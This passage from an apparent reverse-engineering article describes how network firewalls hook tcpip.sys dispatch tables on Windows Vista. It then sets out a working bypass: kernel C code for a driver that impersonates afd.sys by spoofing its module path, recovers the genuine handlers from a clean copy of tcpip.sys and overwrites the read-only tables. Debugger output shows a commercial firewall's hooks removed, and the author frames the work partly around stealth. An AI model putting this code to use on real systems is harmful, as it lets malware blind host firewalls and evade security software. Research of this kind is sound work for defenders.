byte ptr [rsi+3Ch], 25h and dword ptr [rsi+3Dh], 0 lea rax, ClientAttachAfd lea rcx, [rsi+60h] mov [rsi+41h], rax lea rax, [rbx+3Bh] lea rdx, unk_4C120 mov cs:off_4C128, rax and dword ptr [rsi+4Bh], 0 lea rax, WskClientDetach mov [rsi+4Fh], rax lea rax, [rbx+49h] mov byte ptr [rsi+49h], 0FFh mov byte ptr [rsi+4Ah], 25h mov r8d, 48h mov cs:off_4C130, rax call DoSomethingEv0l lea rcx, [rbx+60h] lea r8, [rsp+108h+var_D8] xor edx, edx call rbx test eax, eax jns short loc_1B76C lea rdx, aFailedRegister ; "failed register nmr client with status:"... mov r8d, eax mov ecx, 0FFFFFFFEh call LogStub jmp short loc_1B776
And this is the bridge which was built by the previous code:
mov qword ptr [rsp+18h],r8 mov qword ptr [rsp+10h],rdx mov qword ptr [rsp+8],rcx sub rsp,28h mov r8,qword ptr [rsp+40h] mov rdx,qword ptr [rsp+38h] mov rcx,qword ptr [rsp+30h] mov rax,offset afd!AfdTLErrorHandlerConnection+0x16b (fffffa60`0423318b) call qword ptr [rax] add rsp,28h ret
So the client registration occurs, NmprVerifyModule() thinks that it is afd.sys wants to be connect to the transport layer provider (wtf, connected again? the NMR’s developers had to foresee that). Now Outpost has able to protect the system against all kinds of user mode malware and some kinds of weak rootkits which use TDI or WSK for network intercommunication. Let’s take a look inside:
Waiting to reconnect... Connected to Windows Vista 6001 x64 target, ptr64 TRUE Kernel Debugger connection established. (Initial Breakpoint requested) Symbol search path is: D:Symbolsx64vista_sp1 Executable search path is: Windows Vista Kernel Version 6001 (Service Pack 1) MP (1 procs) Free x64 Product: WinNt, suite: TerminalServer SingleUserTS Built by: 6001.18000.amd64fre.longhorn_rtm.080118-1840 Kernel base = 0xfffff800`01804000 PsLoadedModuleList = 0xfffff800`019c9db0
kd> lm m afw start end module name fffffa60`026d5000 fffffa60`02718000 afw (no symbols)
kd> !chkimg -ss .rdata -d -p E:OSx64vista_sp1 tcpip fffffa6000f82dc0-fffffa6000f82dc3 4 bytes - tcpip!RawTlProviderDispatch+10 [ 90 d1 e6 00:fc 76 6e 02 ] fffffa6000f82dc8-fffffa6000f82dcb 4 bytes - tcpip!RawTlProviderDispatch+18 (+0x08) [ e0 cf e6 00:4c 7e 6e 02 ] fffffa6000f82df0-fffffa6000f82df3 4 bytes - tcpip!RawTlProviderEndpointDispatch (+0x28) [ 70 41 f7 00:04 7d 6e 02 ] fffffa6000f82e08-fffffa6000f82e0b 4 bytes - tcpip!RawTlProviderMessageDispatch (+0x18) [ 70 41 f7 00:04 7d 6e 02 ] fffffa6000f82f80-fffffa6000f82f83 4 bytes - tcpip!UdpTlProviderDispatch+10 (+0x178) [ 50 c8 ec 00:08 61 6e 02 ] fffffa6000f82f88-fffffa6000f82f8b 4 bytes - tcpip!UdpTlProviderDispatch+18 (+0x08) [ 40 7d ec 00:ec 70 6e 02 ] fffffa6000f82fb0-fffffa6000f82fb3 4 bytes - tcpip!UdpTlProviderEndpointDispatch (+0x28) [ d0 d9 ec 00:78 67 6e 02 ] fffffa6000f82fb8-fffffa6000f82fbb 4 bytes - tcpip!UdpTlProviderEndpointDispatch+8 (+0x08) [ b0 9e ec 00:84 6a 6e 02 ] fffffa6000f82fc8-fffffa6000f82fcb 4 bytes - tcpip!UdpTlProviderMessageDispatch (+0x10) [ d0 d9 ec 00:78 67 6e 02 ] fffffa6000f82fd0-fffffa6000f82fd3 4 bytes - tcpip!UdpTlProviderMessageDispatch+8 (+0x08) [ b0 9e ec 00:84 6a 6e 02 ] fffffa6000f82fe0-fffffa6000f82fe3 4 bytes - tcpip!UdpTlProviderMessageDispatch+18 (+0x10) [ 60 ce ea 00:c0 68 6e 02 ] fffffa6000f83210-fffffa6000f83213 4 bytes - tcpip!TcpTlProviderDispatch+10 (+0x230) [ 70 5b ec 00:40 15 6e 02 ] fffffa6000f83220-fffffa6000f83223 4 bytes - tcpip!TcpTlProviderDispatch+20 (+0x10) [ 20 b4 e8 00:b4 2c 6e 02 ] fffffa6000f83228-fffffa6000f8322b 4 bytes - tcpip!TcpTlProviderDispatch+28 (+0x08) [ 50 d2 ec 00:90 20 6e 02 ] fffffa6000f83230-fffffa6000f83233 4 bytes - tcpip!TcpTlProviderDispatch+30 (+0x08) [ 60 0d ec 00:4c 44 6e 02 ] fffffa6000f83238-fffffa6000f8323b 4 bytes - tcpip!TcpTlProviderDispatch+38 (+0x08) [ 80 86 f7 00:6c 42 6e 02 ] fffffa6000f83240-fffffa6000f83243 4 bytes - tcpip!TcpTlProviderEndpointDispatch (+0x08) [ 10 20 ec 00:90 1b 6e 02 ] fffffa6000f83248-fffffa6000f8324b 4 bytes - tcpip!TcpTlProviderEndpointDispatch+8 (+0x08) [ e0 99 ec 00:8c 1c 6e 02 ] fffffa6000f83258-fffffa6000f8325b 4 bytes - tcpip!TcpTlProviderListenDispatch (+0x10) [ 20 cf e8 00:f4 32 6e 02 ] fffffa6000f83278-fffffa6000f8327b 4 bytes - tcpip!TcpTlProviderConnectDispatch (+0x20) [ e0 93 ec 00:9c 2a 6e 02 ] fffffa6000f83290-fffffa6000f83293 4 bytes - tcpip!TcpTlProviderConnectDispatch+18 (+0x18) [ a0 51 ed 00:30 3d 6e 02 ] fffffa6000f83298-fffffa6000f8329b 4 bytes - tcpip!TcpTlProviderConnectDispatch+20 (+0x08) [ 70 02 ec 00:c4 3a 6e 02 ] fffffa6000f832a0-fffffa6000f832a3 4 bytes - tcpip!TcpTlProviderConnectDispatch+28 (+0x08) [ 40 8f ec 00:10 47 6e 02 ] 92 errors : tcpip (fffffa6000f82dc0-fffffa6000f832a3)
There we have hooks in XxxTlProviderXxxDispatch tables of tcpip.sys. All we need is to unhook these tables – we just have to load the copy of tcpip.sys, map it, fix relocations and rewrite the .rdata section. We have to remember that .rdata is a read only section so you have to deal with that during the tables’ restoring process. Let’s get rid of these hooks:
kd> !chkimg -f -ss .rdata -p E:OSx64vista_sp1 tcpip Warning: Any detected errors will be fixed to what we expect! 92 errors (fixed): tcpip (fffffa6000f82dc0-fffffa6000f832a3)
It’s pretty easy to smash down its protection, it’s just need to be loaded into the kernel space. NPI firewalls bypassing Now we understand what we should hook to intercept all of the network events. This information can be used in the protection software, as well as in malware. Now we’re going to understand the method of the real dispatch tables’ handlers obtaining and NPI firewalls bypassing. Let’s return back to the technique which allows us to be registered as a transport layer client by using the bridge to the NmrRegisterClient() function. That’s not a really good method how to do that, because: 1. We have to patch the system’s driver in memory. The firewall works well until the driver is not changed. In the next OS revision or if it’s changed there is a risk to have a BSoD. 2. We have to build different bridges to the functions for different processors’ architectures. The whole code of NPI firewalls bypassing is divided on two parts: the first part of the code retrieves the dispatch tables’ pointers and the original (not hooked) tables’ handlers; the second part is simply rewrites the dispatch tables by the genuine ones. Also, by using the first part of the code we have ability to get the XxxTlProviderXxxDispatch tables and make the calls to the tcpip.sys directly. First of all, we should get the XxxTlProviderDispatch tables’ pointers. We’re not going to build any bridges, but we’re going to exploit some of the features of NmrRegisterClient() or rather NmprVerifyModule() function, which is called from NmrRegisterClient(). First, NmprVerifyModule() finds the structure which describes the client’s module. After that it checks the module’s full path – it should be equal to “\systemroot\system32\drivers\afd.sys”, “\systemroot\system32\drivers\tdx.sys” or “\systemroot\system32\drivers\tcpip.sys”. It’s more logical to reverse the verifying process: “are the client attach/detach routines and the client itself points into the one of the allowed drivers?”. We can use this flaw by replacing the FullDllName field of the LDR_DATA_TABLE_ENTRY structure, which describes our driver, on some legal path. When we did that, we can call NmrRegisterClient() and we will be registered as a transport layer client freely. We have to remember that the clients of tcpip.sys can be tdx.sys or afd.sys only, so we have to choose the appropriate driver’s path when choosing the NPIID. So we have to retrieve the XxxTlProviderXxxDispatch tables and the real handlers of the tcpip.sys driver. The function GetTcpipDispatchTables() does this job:
NTSTATUS NTAPI GetTcpipDispatchTables( __in PLDR_DATA_TABLE_ENTRY DriverEntry, __out PTL_DISPATCH_TABLES DispatchTables )
This function is called from the DriverEntry() function of the driver and the DriverEntry parameter points to the LDR_DATA_TABLE_ENTRY structure which describes the our driver’s module. To connect the driver we have to prepare the NPI_CLIENT_CHARACTERISTICS structure first:
NPI_MODULEID FakeModuleId = { sizeof(NPI_MODULEID), MIT_GUID, {0x01020304, 0x0506, 0x0708, {0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10}} };
NPI_CLIENT_CHARACTERISTICS ClientChars = { 0, sizeof(NPI_CLIENT_CHARACTERISTICS), FakeClientAttachProvider, FakeClientDetachProvider, NULL, {0, sizeof(NPI_REGISTRATION_INSTANCE), &NPI_TRANSPORT_LAYER_ID, &FakeModuleId, 0, NULL} };
The NPI_TRANSPORT_LAYER_ID identifier tells the NMR that we’re going to connect to the transport layer provider. It’s tcpip.sys in our case, of course. Prior to registering we pretend to be afd.sys so the NmprVerifyModule() won’t deny us:
UNICODE_STRING OriginalFullDllName = {0}; ... RtlCopyMemory(&OriginalFullDllName, &DriverEntry->FullDllName, sizeof(UNICODE_STRING)); RtlInitUnicodeString(&DriverEntry->FullDllName, L"\\SystemRoot\\system32\\drivers\\afd.sys");
We can register now:
Status = NmrRegisterClient(&ClientChars, Dispatches, &hClientHandle); if (NT_SUCCESS(Status)) { NmrDeregisterClient(hClientHandle); } else { DbgPrint("GetTcpipDispatchTables(): NmrRegisterClient() failed with status 0x%08X\n", Status); }
We should get the FullDllName back after NmrRegisterClient() call:
RtlCopyMemory(&DriverEntry->FullDllName, &OriginalFullDllName, sizeof(UNICODE_STRING));
The code which receives the XxxTlProviderDispatch tables’ pointers locates in function FakeClientAttachProvider, which we specified as a part of the NPI_CLIENT_CHARACTERISTICS structure:
static NTSTATUS NTAPI FakeClientAttachProvider( __in HANDLE NmrBindingHandle, __in PTL_DISPATCH_TABLES DispatchTables, __in PNPI_REGISTRATION_INSTANCE ProviderRegistrationInstance )
This function will be called by NMR after the NmrRegisterClient() function call for every ModuleId which tcpip.sys registered with this NPIID. As I mentioned before, these structures are: NPI_MS_TCP_MODULEID, NPI_MS_UDP_MODULEID, NPI_MS_RAW_MODULEID. The information about NPIID and ModuleId will be passed in ProviderRegistrationInstance, so we’re going to check it to expect TcpTlProviderDispatch, UdpTlProviderDispatch, RawTlProviderDispatch respectively:
if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_TCP_MODULEID, sizeof(NPI_MODULEID))) { ASSERT( !DispatchTables->TcpTlProviderDispatch );
// Get TcpTlProviderDispatch table
Status = NmrClientAttachProvider( NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->TcpTlProviderDispatch); if (!NT_SUCCESS(Status)) { KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(TcpTlProviderDispatch) failed with status 0x%08X\n", Status)); } } else if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_UDP_MODULEID, sizeof(NPI_MODULEID))) { ASSERT( !DispatchTables->UdpTlProviderDispatch );
// Get UdpTlProviderDispatch table
Status = NmrClientAttachProvider( NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->UdpTlProviderDispatch); if (!NT_SUCCESS(Status)) { KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(UdpTlProviderDispatch) failed with status 0x%08X\n", Status)); } } else if (!memcmp(ProviderRegistrationInstance->ModuleId, &NPI_MS_RAW_MODULEID, sizeof(NPI_MODULEID))) { ASSERT( !DispatchTables->RawTlProviderDispatch );
// Get RawTlProviderDispatch table
Status = NmrClientAttachProvider( NmrBindingHandle, NULL, NULL, &ProviderContext, &DispatchTables->RawTlProviderDispatch); if (!NT_SUCCESS(Status)) { KdPrint(("FakeClientAttachProvider(): NmrClientAttachProvider(RawTlProviderDispatch) failed with status 0x%08X\n", Status)); } }
To get the XxxTlProviderDispatch table pointer we have to call NmrClientAttachProvider() which finally calls InetTlNotifyAttachClient() of tcpip.sys, and this function returns us the appropriate dispatch table. We have to remember the pointers on these tables to get the rest of the XxxTlProviderXxxDispatch tables and the real handlers. When we got XxxTlProviderDispatch tables, we’re going to call GetInternalTcpipDispatches() which gets the rest of the XxxTlProviderXxxDispatch tables and the real tables’ handlers. We pronounced that the easiest way how to subvert NPI firewalls is to load the copy of tcpip.sys and to rewrite the .rdata section. But there is a one rule during this kind of code creating: we’re much stealthier when we do not change the system. That’s why we’re going to get the tables and the real handlers step by step. And btw, this practice will help you to understand a bit of undocumented tcpip.sys’ Transport Layer (TL) interface. This information can be used in your own transport layer client also. To load the copy of tcpip.sys into the memory we have GetTcpip() function which does the following: it gets the original tcpip.sys’ image base and the image size; loads the copy of tcpip.sys from disk; maps it; fixes the relocations:
UNICODE_STRING TcpipDriverName = CONST_UNICODE_STRING(L"\\Driver\\tcpip"); UNICODE_STRING TcpipDriverPath = CONST_UNICODE_STRING(L"\\SystemRoot\\system32\\drivers\\tcpip.sys"); MEMORY_CHUNK FlatFile = {0}; NTSTATUS Status = STATUS_UNSUCCESSFUL;
...
Status = GetDriverModuleInfo(&TcpipDriverName, &OriginalTcpip->Buffer, &OriginalTcpip->Size); if (!NT_SUCCESS(Status)) { KdPrint(("GetTcpip(): GetDriverModuleInfo(%wZ) failed with status 0x%08X\n", &TcpipDriverName, Status)); return Status; }
Status = GetFileData(&TcpipDriverPath, &FlatFile); if (!NT_SUCCESS(Status)) { KdPrint(("GetTcpip(): GetFileData(%wZ) failed with status 0x%08X\n", &TcpipDriverPath, Status)); return Status; }
Status = MapImage(&FlatFile, LoadedTcpip); FreeMemoryChunk(&FlatFile);
if (!NT_SUCCESS(Status)) { KdPrint(("GetTcpip(): MapImage(%wZ) failed with status 0x%08X\n", &TcpipDriverPath, Status)); }
The MapImage() function does all of this dirty job for us – it verifies that the module is not corrupted, maps the section of the module and fixes the relocations. You have to know that you cannot use this module for code running purposes because the mapped module’s memory allocated from paged pool. To do so, you have to change the type of the memory to non-paged. After GetInternalTcpipDispatchTables() loads the copy of tcpip.sys into the memory, it takes the 7 steps to retrieve the tables: 1. Get the genuine (not hooked) handlers of TcpTlProviderDispatch/UdpTlProviderDispatch/RawTlProviderDispatch tables 2. Get the TcpTlProviderEndpointDispatch/UdpTlProviderEndpointDispatch/RawTlProviderEndpointDispatch tables which are placed in tcpip.sys 3. Get the genuine (not hooked) handlers of TcpTlProviderEndpointDispatch/UdpTlProviderEndpointDispatch/RawTlProviderEndpointDispatch tables 4. Get the TcpTlProviderListenDispatch/TcpTlProviderConnectDispatch tables which are placed in tcpip.sys 5. Get the genuine (not hooked) handlers of TcpTlProviderListenDispatch/TcpTlProviderConnectDispatch tables 6. Get the UdpTlProviderMessageDispatch/RawTlProviderMessageDispatch tables which are placed in tcpip.sys 7. Get the genuine (not hooked) handlers of UdpTlProviderMessageDispatch/RawTlProviderMessageDispatch tables Since we got the copy of tcpip.sys loaded, the retrieving the tables’ real handlers is not a big problem. It’s implemented in GetRealTcpipDispatchTable() function:
static NTSTATUS GetRealTcpipDispatchTable( __in PMEMORY_CHUNK OriginalTcpip, __in PMEMORY_CHUNK LoadedTcpip, __in PVOID* OriginalDispatchTable, __out PVOID* RealDispatchTable, __in ULONG PointersCount )
This function gets the real handlers’ pointers from the loaded copy of tcpip.sys and corrects them so they will point into the original tcpip.sys module. The GetRealXxxTlProviderDispatch(), GetRealXxxTlProviderEndpointDispatch(), GetRealTcpDispatches(),GetRealMessageDispatches() functions use GetRealTcpipDispatchTable() on the steps №1, №3, №5, № 7, respectively. It was pretty easy to get the XxxTlProviderDispatch tables’ pointers, but the retrieving the XxxTlProviderEndpointDispatch/ TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch/ XxxTlProviderMessageDispatch tables is much complicated. You’ll get the pointer on these tables only if you know the internal tcpip.sys’ interface. It seems that here is a big reverse engineering challenge. The internal tcpip.sys’ interface Every handler of the tcpip.sys’ dispatch tables has the following prototype:
typedef NTSTATUS (NTAPI* PROVIDER_DISPATCH) ( __in PVOID Endpoint, __in PTL_ENDPOINT_DATA ProviderData );
We can describe the TL_ENDPOINT_DATA structure as follows:
typedef struct _TL_ENDPOINT_DATA { GET_DISPATCH GetDispatch; PVOID GetDispatchContext; PVOID Flags; USHORT Family; #ifndef _AMD64_ PVOID Unk5; #endif PEPROCESS Process; PETHREAD Thread; PVOID Object; PSOCKADDR_IN Addr1; PVOID Unk10; PVOID Unk11; PSOCKADDR_IN Addr2; PVOID Unk13; PVOID Unk14; PVOID Unk15; PVOID Unk16; ... } TL_ENDPOINT_DATA, *PTL_ENDPOINT_DATA;
This structure describes the information which should be passed to the handlers to create so called “endpoint” into the particular entity inside the tcpip.sys driver. Calls to this “entities” are similar to the BSD sockets calls, but they have their own set of handlers. So, to use these handlers we have to get a pointer to the dispatch table somehow. The very first member of the TL_ENDPOINT_DATA structure is a pointer to the callback function which will be called by tcpip.sys if a connection with one of the tcpip.sys’ sub-modules had been installed successfully. In this case tcpip.sys allocates a memory for some internal structure, copies some parts of the TL_ENDPOINT_DATA structure into this piece of memory and passes the pointer as a third parameter to the callback function. It seems that the tcpip.sys’ clients don’t have to change this memory and only we can do now is to pass this pointer to the next handlers. It looks like a usual HANDLE for now. Above-mentioned callback function has the following prototype:
typedef NTSTATUS (NTAPI* GET_DISPATCH) ( __in PVOID Context, __in NTSTATUS Status, __in PVOID Endpoint, __in PVOID DispatchTable );
As a first parameter of the callback, tcpip.sys passes the TL_ENDPOINT_DATA.GetDispatchContext value, so it’s pretty nice to have this functionality to return some data back. The DispatchTable pointer is what we wanted – it’s a pointer to one of the internal dispatch tables. The Endpoint pointer is the above-mentioned structure which is allocated by tcpip.sys and passed to the callback. So after some of the reverse engineering race we got some results: • The Family field must contain one of the AF_XXX values for the successful calls of TL_PROVIDER_DISPATCH.Endpoint • The Process field must point onto the EPROCESS structure of the client process • The Thread field must point onto the ETHREAD structure of the client thread • The Addr1 field must point onto the correctly filled SOCKADDR_IN structure (sin_family must be filled) in case of TL_PROVIDER_DISPATCH.Listen or TL_PROVIDER_DISPATCH.Connect calls • The Addr2 field must point onto the correctly filled SOCKADDR_IN structure (sin_family and sin_port must be filled) in case of TL_PROVIDER_DISPATCH.Connect calls It was discovered that with Family=AF_INET, the Process field pointing on the current process and the Thread field pointing on the current thread everything works fine. The rest of the fields are not used or they don’t affect the calls when they’re zero. Actually, it would be better to reverse back all of that stuff and reveal the whole interface, but not just the pieces of the interface. As an example, let’s take a look on the GetEndpointDispatches() function which retrieves the XxxTlProviderEndpointDispatch tables:
static NTSTATUS GetEndpointDispatches( __inout PTL_DISPATCH_TABLES Dispatches ) { PROVIDER_DISPATCH_UNK1 DispatchUnk1 = {0}; TL_ENDPOINT_DATA EndpointData = {0}; GET_DISPATCH_CONTEXT GetDispatchContext = {0}; NTSTATUS Status = STATUS_UNSUCCESSFUL; ...
Fill the TL_ENDPOINT_DATA structure:
EndpointData.GetDispatch = GetDispatchCallback; EndpointData.GetDispatchContext = &GetDispatchContext; EndpointData.Family = AF_INET; EndpointData.Process = PsGetCurrentProcess(); EndpointData.Thread = PsGetCurrentThread();
GetDispatchContext.DispatchTable = &Dispatches->TcpTlProviderEndpointDispatch; GetDispatchContext.Endpoint = NULL; Dispatches->TcpTlProviderEndpointDispatch = NULL;
The callback function is pretty simple:
static NTSTATUS NTAPI GetDispatchCallback( __in PGET_DISPATCH_CONTEXT Context, __in NTSTATUS Status, __in PVOID Endpoint, __in PVOID DispatchTable ) { if (!Context || !Context->DispatchTable) return STATUS_INVALID_PARAMETER;
Context->Endpoint = Endpoint; *Context->DispatchTable = DispatchTable;
return STATUS_SUCCESS; }
Register the endpoint connection:
Status = Dispatches->RealTcpTlProviderDispatch.Endpoint(&DispatchUnk1, &EndpointData); if (!NT_SUCCESS(Status)) { KdPrint(("GetXxxTlProviderEndpointDispatch(): TcpTlProviderDispatch->Endpoint() failed with status 0x%08X\n", Status)); return Status; }
As you noticed we use the genuine Endpoint handler to avoid to be caught by some firewall which can return us the fake dispatch table with their own handlers and not the genuine ones. After the endpoint connection had been registered successfully, we have to close it. Disconnect from the endpoint:
if (GetDispatchContext.Endpoint) { Status = Dispatches->TcpTlProviderEndpointDispatch->CloseEndpoint(GetDispatchContext.Endpoint, NULL); if (!NT_SUCCESS(Status)) { KdPrint(("GetXxxTlProviderEndpointDispatch(): TcpTlProviderDispatch->CloseEndpoint() failed with status 0x%08X\n", Status)); } }
The endpoint identifier Endpoint is passed as a first parameter to the CloseEndpoint() handler, that’s how we disconnect from the endpoint correctly. The same we have while retrieving the pointers on UdpTlProviderDispatch and RawTlProviderDispatch tables. In case of TcpTlProviderListenDispatch/ TcpTlProviderConnectDispatch/ XxxTlProviderMessageDispatch tables retrieving, everything goes very similar to the process described above, but we have to care about the Addr1 and Addr2 fields. NPI unhooking The code which unhooks the XxxTlProviderXxxDispatch tables located in the UnhookNPI() function. Whole unhooking process divided on 4 steps: 1. Unhooking XxxTlProviderDispatch tables’ handlers 2. Unhooking XxxTlProviderEndpointDispatch tables’ handlers 3. Unhooking TcpTlProviderListenDispatch and TcpTlProviderConnectDispatch tables’ handlers 4. Unhooking UdpTlProviderMessageDispatch and RawTlProviderMessageDispatch tables’ handlers The main function which restores the dispatch table is RestoreTcpipDispatchTable():
static NTSTATUS RestoreTcpipDispatchTable( __in PMEMORY_CHUNK OriginalTcpip, __in PVOID* OriginalDispatchTable, __in PVOID* RealDispatchTable, __in ULONG DispatchTableSize )
The caller passes to the function the original tcpip.sys’ image base and the image size, the original dispatch table pointer, the dispatch table pointer with real handlers and the size of the table. First of all, we have to be sure that the original dispatch table placed within the tcpip.sys’ range:
if ((ULONG_PTR)OriginalDispatchTable < (ULONG_PTR)OriginalTcpip->Buffer || (ULONG_PTR)OriginalDispatchTable + DispatchTableSize > (ULONG_PTR)OriginalTcpip->Buffer + OriginalTcpip->Size) { KdPrint(("RestoreTcpipDispatchTable(): Dispatch table %p is out of tcpip.sys' range %p..%p\n", OriginalDispatchTable, OriginalTcpip->Buffer, (ULONG_PTR)OriginalTcpip->Buffer + OriginalTcpip->Size)); return STATUS_UNSUCCESSFUL; }
We don’t have to care about anything if the table is not hooked:
if (!memcmp(OriginalDispatchTable, RealDispatchTable, DispatchTableSize)) return STATUS_SUCCESS;
If some of the handlers are hooked, map the table and allow the write access to that memory:
PMDL OriginalDispatchTableMdl = NULL; PVOID* MappedOriginalDispatchTable = NULL; ... OriginalDispatchTableMdl = IoAllocateMdl(OriginalDispatchTable, DispatchTableSize, FALSE, FALSE, NULL); if (!OriginalDispatchTableMdl) return STATUS_INSUFFICIENT_RESOURCES;
// Going to have write access to the read only memory of tcpip.sys' .rdata section
__try { MmProbeAndLockPages(OriginalDispatchTableMdl, KernelMode, IoWriteAccess); } __except (EXCEPTION_EXECUTE_HANDLER) { IoFreeMdl(OriginalDispatchTableMdl); return STATUS_ACCESS_VIOLATION; }
MappedOriginalDispatchTable = MmMapLockedPagesSpecifyCache( OriginalDispatchTableMdl, KernelMode, MmNonCached, NULL, FALSE, HighPagePriority); if (!MappedOriginalDispatchTable) { MmUnlockPages(OriginalDispatchTableMdl); IoFreeMdl(OriginalDispatchTableMdl); return STATUS_UNSUCCESSFUL; }
Restore the table:
RtlCopyMemory(MappedOriginalDispatchTable, RealDispatchTable, DispatchTableSize);
Let’s take a look on the function of XxxTlProviderDispatch tables unhooking:
static NTSTATUS UnhookXxxTlProviderDispatch( __in PTL_DISPATCH_TABLES Dispatches, __in PMEMORY_CHUNK OriginalTcpip ) { ...
Status = RestoreTcpipDispatchTable( OriginalTcpip, (PVOID*)Dispatches->TcpTlProviderDispatch, (PVOID*)&Dispatches->RealTcpTlProviderDispatch, sizeof(TL_PROVIDER_DISPATCH)); if (!NT_SUCCESS(Status)) { KdPrint(("UnhookXxxTlProviderDispatch(): RestoreTcpipDispatchTable(TcpTlProviderDispatch) failed with status 0x%08X\n", Status)); return Status; }
Status = RestoreTcpipDispatchTable( OriginalTcpip, (PVOID*)Dispatches->UdpTlProviderDispatch, (PVOID*)&Dispatches->RealUdpTlProviderDispatch, sizeof(TL_PROVIDER_DISPATCH)); if (!NT_SUCCESS(Status)) { KdPrint(("UnhookXxxTlProviderDispatch(): RestoreTcpipDispatchTable(UdpTlProviderDispatch) failed with status 0x%08X\n", Status)); return Status; }
... }
That is all what you need to unhook the tcpip.sys’ dispatch tables, NPI firewall is subverted. Run everything in complex in npisubvert.sys with Outpost firewall Pro 2009 (v6.5, x86):
kd> g TCPIP.SYS image region: 0x8819F000..0x88270000
TcpTlProviderDispatch: 0x8824A8FC IoControl: 0x88220C52 (0x88220C52 real) QueryDispatch: 0x8822A004 (0x8822A004 real) Endpoint: 0x8BA86AA4 (0x881DB212 real) HOOKED by afwcore.sys Message: 0x88229FF9 (0x88229FF9 real) Listen: 0x8BA86D86 (0x881C9E59 real) HOOKED by afwcore.sys ReleaseIndicationList: 0x8BA83B60 (0x881DFCC4 real) HOOKED by afwcore.sys Cancel: 0x8BA86208 (0x881C979B real) HOOKED by afwcore.sys
TcpTlProviderEndpointDispatch: 0x8824A91C CloseEndpoint: 0x8BA85BC4 (0x881DBD38 real) HOOKED by afwcore.sys IoControlEndpoint: 0x8BA85CA4 (0x881DB5E2 real) HOOKED by afwcore.sys QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
TcpTlProviderConnectDispatch: 0x8824A938 CloseEndpoint: 0x8BA859E8 (0x881E4543 real) HOOKED by afwcore.sys IoControlEndpoint: 0x881E01ED (0x881E01ED real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) Send: 0x8BA83E5C (0x8820E188 real) HOOKED by afwcore.sys Receive: 0x8BA84E5A (0x881D2258 real) HOOKED by afwcore.sys Disconnect: 0x8BA841DA (0x881E4886 real) HOOKED by afwcore.sys
TcpTlProviderListenDispatch: 0x8824A928 CloseEndpoint: 0x8BA86012 (0x881C5C44 real) HOOKED by afwcore.sys IoControlEndpoint: 0x881B11A6 (0x881B11A6 real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) ResumeConnection: 0x88220C42 (0x88220C42 real)
UdpTlProviderDispatch: 0x8824ACE4 IoControl: 0x88228C0B (0x88228C0B real) QueryDispatch: 0x8822A004 (0x8822A004 real) Endpoint: 0x8BA87EF2 (0x881D0152 real) HOOKED by afwcore.sys Message: 0x8BA87CC2 (0x881D06DE real) HOOKED by afwcore.sys Listen: 0x8822A093 (0x8822A093 real) ReleaseIndicationList: 0x88228BF0 (0x88228BF0 real) Cancel: 0x8822A07D (0x8822A07D real)
UdpTlProviderEndpointDispatch: 0x8824AD04 CloseEndpoint: 0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys IoControlEndpoint: 0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
UdpTlProviderMessageDispatch: 0x8824AD10 CloseEndpoint: 0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys IoControlEndpoint: 0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) SendMessages: 0x8BA87132 (0x881EF50F real) HOOKED by afwcore.sys
RawTlProviderDispatch: 0x8824AE58 IoControl: 0x8822A09E (0x8822A09E real) QueryDispatch: 0x8822A004 (0x8822A004 real) Endpoint: 0x8BA88782 (0x881BCBB0 real) HOOKED by afwcore.sys Message: 0x8BA8863E (0x881BC615 real) HOOKED by afwcore.sys Listen: 0x8822A093 (0x8822A093 real) ReleaseIndicationList: 0x88228BF0 (0x88228BF0 real) Cancel: 0x8822A07D (0x8822A07D real)
RawTlProviderEndpointDispatch: 0x8824AE78 CloseEndpoint: 0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys IoControlEndpoint: 0x881BC1D6 (0x881BC1D6 real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
RawTlProviderMessageDispatch: 0x8824AE84 CloseEndpoint: 0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys IoControlEndpoint: 0x881BC1D6 (0x881BC1D6 real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) SendMessages: 0x88229350 (0x88229350 real)
The NPI hooks have been cleaned successfully
Check some of the unhooked tables:
kd> dd TcpTlProviderDispatch 8824a8fc 88220c52 8822a004 881db212 88229ff9 8824a90c 881c9e59 881ddf90 881dfcc4 881c979b
kd> u 88220c52 tcpip!TcpTlProviderIoControl: 88220c52 8bff mov edi,edi 88220c54 55 push ebp 88220c55 8bec mov ebp,esp 88220c57 8b450c mov eax,dword ptr [ebp+0Ch]
kd> u 881ddf90 tcpip!TcpTlProviderConnect: 881ddf90 8bff mov edi,edi 881ddf92 55 push ebp 881ddf93 8bec mov ebp,esp 881ddf95 5d pop ebp 881ddf96 e97cedffff jmp tcpip!TcpCreateAndConnectTcb (881dcd17)
Wait for some time and try again (maybe the firewall restores its hooks?):
kd> g TCPIP.SYS image region: 0x8819F000..0x88270000
TcpTlProviderDispatch: 0x8824A8FC IoControl: 0x88220C52 (0x88220C52 real) QueryDispatch: 0x8822A004 (0x8822A004 real) Endpoint: 0x881DB212 (0x881DB212 real) Message: 0x88229FF9 (0x88229FF9 real) Listen: 0x881C9E59 (0x881C9E59 real) ReleaseIndicationList: 0x881DFCC4 (0x881DFCC4 real) Cancel: 0x881C979B (0x881C979B real)
TcpTlProviderEndpointDispatch: 0x8824A91C CloseEndpoint: 0x881DBD38 (0x881DBD38 real) IoControlEndpoint: 0x881DB5E2 (0x881DB5E2 real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
